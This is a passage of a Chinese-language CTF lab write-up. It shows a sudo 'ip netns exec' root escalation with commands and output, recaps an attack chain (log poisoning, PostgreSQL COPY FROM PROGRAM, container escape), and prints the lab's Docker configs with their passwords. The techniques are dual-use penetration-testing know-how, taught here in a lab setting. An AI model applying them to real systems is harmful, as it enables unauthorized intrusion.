%在某些 Shell 环境下具有特殊含义,建议将整个 IPv6 地址用双引号包裹,以确保路径解析正确。
在宿主机环境下,检查 sudo -l 发现 ip 命令具有无密码执行权限:
lenam@TheHackersLabs-ipeuveseis:~$ sudo -l
Matching Defaults entries for lenam on TheHackersLabs-ipeuveseis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User lenam may run the following commands on TheHackersLabs-ipeuveseis:
(ALL) NOPASSWD: /root/stack/scripts/block-web-host-access.sh,
/root/stack/scripts/remove-web-host-block.sh
(root) NOPASSWD: /usr/sbin/ip
检索 gtfobins,有现成利用方案,最终利用 ip netns(网络命名空间)提权至 Root:

lenam@TheHackersLabs-ipeuveseis:~$ sudo ip netns add foo
lenam@TheHackersLabs-ipeuveseis:~$ sudo ip netns exec foo /bin/bash
root@TheHackersLabs-ipeuveseis:/home/lenam# id
uid=0(root) gid=0(root) grupos=0(root)
ip netns 的提权原理:
ip netns add 命令会创建一个全新的隔离网络堆栈,而 ip netns exec 则允许在该命名空间内执行任意命令。由于 ip 命令是以 sudo (root) 权限运行的,通过它调用的任何进程(如 /bin/bash)都会继承 root 用户的 UID/GID,从而实现越权。
0x06 总结与复盘
本次渗透是一次典型的 容器网络拓扑穿透。这台靶机的核心逻辑在于 “协议转换” 与 “边界跨越”。从最初的 IPv6 扫描到最终的命名空间提权,每一步都在突破某种形式的隔离。
渗透利用链
- 外网入口:通过 IPv6 链路本地地址发现 Web 服务。
- Web 突破:利用 LFI + 日志投毒(Log Poisoning)获取 Web 容器 Shell。
- 内网纵移:在配置文件中发现数据库超级权限,利用 PostgreSQL
COPY FROM PROGRAM跨容器执行命令。 - 横向渗透:利用 SSH 私钥进入 Backup 容器。
- 主机逃逸:利用 Backup 容器与宿主机网关的特殊通信权限,通过 API 命令执行漏洞获取宿主机权限。
- 权限提升:通过
sudo ip滥用实现 Root 提权。
网络访问链路:
外部用户 → [::]:8080 → Web 容器(日志投毒) → DB 容器(COPY TO PROGRAM 执行命令) → Backup 容器 → fd00:dead:beef::1(宿主机网关)→ 宿主机
3 个容器的核心关系:web(入口/日志注入) ↔ db(数据库/命令执行) ↔ backup(备份服务器/主机逃逸),其中 web 和 backup 可接入外部网络,db 仅在内网通信。
核心知识点:
一、 IPv6 侦察与边界突破
在 IPv4 失效的环境下,传统的扫描手段需要全部切换至 IPv6 协议栈。
- 组播探测(Multicast Discovery): 通过
ping6 -I <interface> ff02::1(全节点组播地址)可以强制链路上所有 IPv6 设备响应。这是在未知内网中快速定位目标 IP 的核心手段。 - 链路本地地址(Link-Local Address)解析: 以
fe80::开头的地址仅在当前链路有效,使用nmap、curl或ssh访问时,必须附带 Scope-ID(如%eth1),否则内核无法确定流量的出接口。 - 协议栈转换(Pivoting): 利用
socat在本地 IPv4 端口与远端 IPv6 端口之间建立“隧道”,将复杂的 IPv6 访问简化为对127.0.0.1的操作,从而兼容仅支持 IPv4 的渗透工具。
二、 容器间横向移动与 RCE
容器化环境通常伴随着网络隔离,利用配置不当的服务是跨越隔离带的关键。
- 日志投毒(Log Poisoning): 当 LFI 遇到可写的 Web 日志(如 Apache
access.log)时,通过 User-Agent 注入 PHP 代码。注意: 容器内日志空间有限,且通常有轮转机制,投毒机会往往稍纵即逝。 - PostgreSQL 高级利用: 拥有
superuser权限的数据库账号可以通过COPY ... FROM PROGRAM直接调用底层操作系统的 Shell。这是从数据库控制权转化为系统控制权的经典路径。 - 静态工具依赖(Static Binary): 在极简的 Docker 镜像中,通过上传静态编译的
busybox或socat来弥补目标环境缺少常用命令(如nc、curl)的窘境。
三、 邻居发现与 EUI-64 算法
在多网卡容器中,IPv6 的 NDP 协议为我们提供了天然的“内网地图”。
- IPv6 邻居表探测: 通过
ip -6 neigh查看邻居缓存,可以绕过防火墙对 ICMP 探测的限制,直接获取内网存活主机的 IP 与 MAC 地址对应关系。 - EUI-64 转换原理: 这是 IPv6 自动配置的核心算法。将 48 位 MAC 地址转换为 64 位接口标识符:
- 在 MAC 地址中间插入
0xfffe。 - 将第 1 字节的第 7 位(U/L 位)取反。
这种算法常被用于 CTF 挑战,也是识别设备厂商信息的关键。
四、 宿主机逃逸与提权
获取宿主机入口后,利用系统层级的配置缺陷完成最后的一击。
- SSH 交互增强: 在非标准 TTY 或受限 Shell 下,直接使用
ssh往往会因缺乏 PTY 自动断开。通过socat构建完整的交互式 PTY 通道,是维持稳定横向连接的进阶技巧。 - 网络命名空间(Netns)提权: 这是 GTFOBins 中针对
ip命令的高级利用手段。由于sudo ip允许操作内核级的网络命名空间,攻击者可以创建一个新的空间并以 Root 身份在其内部执行/bin/bash,从而彻底绕过权限限制。
附录
在完成这台 Expert 级别靶机的渗透后,通过对宿主机后端配置文件的深度审计,我们可以清晰地还原出作者设计的防御逻辑与利用路径。
Docker 基础设施配置 (daemon.json)
首先分析 Docker 引擎的 IPv6 运行参数:
{
"ipv6": true,
"fixed-cidr-v6": "fd00::/64",
"experimental": true,
"ip6tables": true
}
技术分析:
- 实验性特性开关:启用
experimental和ip6tables: true表明宿主机正在使用 Docker 的现代 IPv6 过滤机制。这允许 Docker 自动为每个桥接网络生成ip6tables规则。- IPv6 优先:全局启用 IPv6 并指定固定位段(fd00::/64),为容器间构建复杂的 ULA(唯一本地地址)拓扑奠定了基础。
核心编排审计 (docker-compose.yml)
这份 Compose 文件是理解整个渗透链路的“活地图”。它定义了三个功能各异、权限分级的容器,以及3 个独立的桥接网络。
root@TheHackersLabs-ipeuveseis:/home/lenam/ipeuveseis-lenam# cat /root/stack/docker-compose.yml
services:
# ============================================
# CONTAINER 1: Web PHP (Entry Point)
# Directly accessible from outside on port 8080 (IPv6 only)
# VULNERABLE: Log Poisoning only
# SECURITY: Can access external IPs but NOT host gateway (blocked via firewall)
# ============================================
web:
build:
context: ./web
dockerfile: Dockerfile
container_name: ctf
hostname: ctf
# Run as www-data user (UID 33, GID 33 in Debian/Ubuntu)
# Apache will run entirely as www-data (main process and workers)
# NET_BIND_SERVICE capability allows binding to port 80 as non-root
# Host gateway blocking is handled by firewall rules on the host (not in container)
user: "33:33"
networks:
internal_web_db:
ipv6_address: fd00:1337:1::10
external_net: # Connect to external network for direct access and outbound
ipv6_address: fd00:dead:beef::20
ports:
# IPv6 only binding - direct access to web container
- "[::]:8080:80"
depends_on:
db:
condition: service_healthy
environment:
- DB_HOST=fd00:1337:1::20
- DB_PORT=5432
- DB_NAME=database
- DB_USER=user
- DB_PASS=jec41Ew98zB4ch3nM0vP
restart: unless-stopped
# SECURITY: Hardened except for intentional log poisoning vulnerability
# IPv4 disabled - IPv6 only
# Can access external IPs but NOT host gateway (blocked by host firewall)
# Runs as www-data user (no root needed - gateway blocking handled on host)
cap_drop:
- ALL
cap_add:
- NET_BIND_SERVICE # Allows binding to port 80 as non-root
- DAC_OVERRIDE # Required for file operations
- NET_ADMIN # Required to disable IPv4 addresses (only, not for gateway blocking)
- NET_RAW # Required for iptables to disable IPv4
security_opt:
- no-new-privileges:true # Prevent privilege escalation
read_only: false
tmpfs:
- /tmp
- /var/tmp
# ============================================
# CONTAINER 2: PostgreSQL Database
# Only accessible from web container (IPv6 only)
# VULNERABLE: Superadmin can execute commands via COPY TO PROGRAM
# SECURITY: No access to external_net (no host gateway access)
# ============================================
db:
build:
context: ./db
dockerfile: Dockerfile
container_name: db
hostname: db
# Run as postgres user (UID 70, GID 70 in postgres:15-alpine)
# This eliminates the need for SETUID/SETGID capabilities
user: "70:70"
networks:
internal_web_db:
ipv6_address: fd00:1337:1::20
internal_db_backup:
ipv6_address: fd00:1337:2::20
environment:
- POSTGRES_DB=database
- POSTGRES_USER=superadmin
- POSTGRES_PASSWORD=jHt9b8u5whZ55551zlY1
volumes:
- db_data:/var/lib/postgresql/data
restart: unless-stopped
healthcheck:
test: ["CMD-SHELL", "pg_isready -U superadmin -d database"]
interval: 5s
timeout: 5s
retries: 5
# SECURITY: Hardened except for intentional superadmin access
# IPv4 disabled - IPv6 only
# No SETUID/SETGID needed - container runs as postgres user directly
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
cap_add:
- CHOWN # Still needed for fixing permissions in entrypoint
- FOWNER # Still needed for fixing permissions in entrypoint
- DAC_OVERRIDE # Needed for file operations
- NET_ADMIN # Required to disable IPv4 addresses
read_only: false
tmpfs:
- /tmp
- /var/tmp
# ============================================
# CONTAINER 3: Backup Server
# Only accessible from db container (IPv6 only)
# SECURITY: Can access host network via gateway (fd00:dead:beef::1)
# This is the ONLY container that can access the host (unique escape path)
# ============================================
backup:
build:
context: ./backup
dockerfile: Dockerfile
container_name: backup
hostname: backup
networks:
internal_db_backup:
ipv6_address: fd00:1337:2::30
external_net:
ipv6_address: fd00:dead:beef::30
volumes:
- backup_data:/backups
restart: unless-stopped
# SECURITY: Hardened, but can access host network via gateway
# The gateway fd00:dead:beef::1 is the host, accessible from external_net
# IPv4 disabled - IPv6 only
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
cap_add:
- NET_BIND_SERVICE
- NET_ADMIN # Required to disable IPv4 addresses
- NET_RAW # Required for iptables to block IPv4
- SYS_CHROOT # Required for SSH to work properly in containers
- SETGID # Required for SSH to change groups during authentication
- SETUID # Required for SSH to change user during authentication
read_only: false
tmpfs:
- /tmp
- /var/tmp
networks:
# External network - Web and Backup containers (IPv6 only)
# Web can access external IPs but NOT host gateway (blocked via ip6tables)
# Backup can access host gateway (fd00:dead:beef::1) for localhost services
external_net:
driver: bridge
enable_ipv6: true
ipam:
driver: default
config:
- subnet: fd00:dead:beef::/64
gateway: fd00:dead:beef::1
# Internal network: Web <-> DB (IPv6 only)
# IPv4 disabled via sysctl in containers
internal_web_db:
driver: bridge
internal: true
enable_ipv6: true
ipam:
driver: default
config:
- subnet: fd00:1337:1::/64
gateway: fd00:1337:1::1
# Internal network: DB <-> Backup (IPv6 only)
# IPv4 disabled via sysctl in containers
internal_db_backup:
driver: bridge
internal: true
enable_ipv6: true
ipam:
driver: default
config:
- subnet: fd00:1337:2::/64
gateway: fd00:1337:2::1
volumes:
db_data:
backup_data:
1. Web 容器 (Entry Point)
- 权限控制:通过
cap_drop: [ALL]丢弃了所有特权,仅保留了NET_BIND_SERVICE(绑定 80 端口)和DAC_OVERRIDE(文件操作)。 - 安全加固:开启
no-new-privileges:true,防止通过setuid等手段提权。 - 网络位置:横跨
external_net(对外提供服务)和internal_web_db(内网访问数据库)。
2. DB 容器 (Logic Core)
- 用户隔离:显式指定
user: "70:70"(Postgres 用户),消除了对系统级 root 的依赖。 - 隐蔽路径:它并不连接
external_net。这意味着如果你拿到了 Web 容器,必须通过internal_web_db网段向它发起攻击。它同时连接了internal_db_backup网络,充当了渗透链条的中转站。
3. Backup 容器 (The Escape Route)
- 特权分配:由于需要运行 SSH 服务,它被授予了
SYS_CHROOT、SETGID和SETUID能力。 - 逃逸关键:它是唯一能够通过
external_net网段访问宿主机网关(fd00:dead:beef::1)的容器。
最后,根据配置文件,我们可以整理出如下网络拓扑表:
| 网络名称 | 网段 | 互通容器 | 访问权限限制 |
| external_net | fd00:dead:beef::/64 |
Web, Backup | Web 被禁止访问网关;Backup 允许访问网关。 |
| internal_web_db | fd00:1337:1::/64 |
Web, DB | 纯内网,无外部出口。 |
| internal_db_backup | fd00:1337:2::/64 |
DB, Backup | 纯内网,用于备份数据传输。 |
跳到内容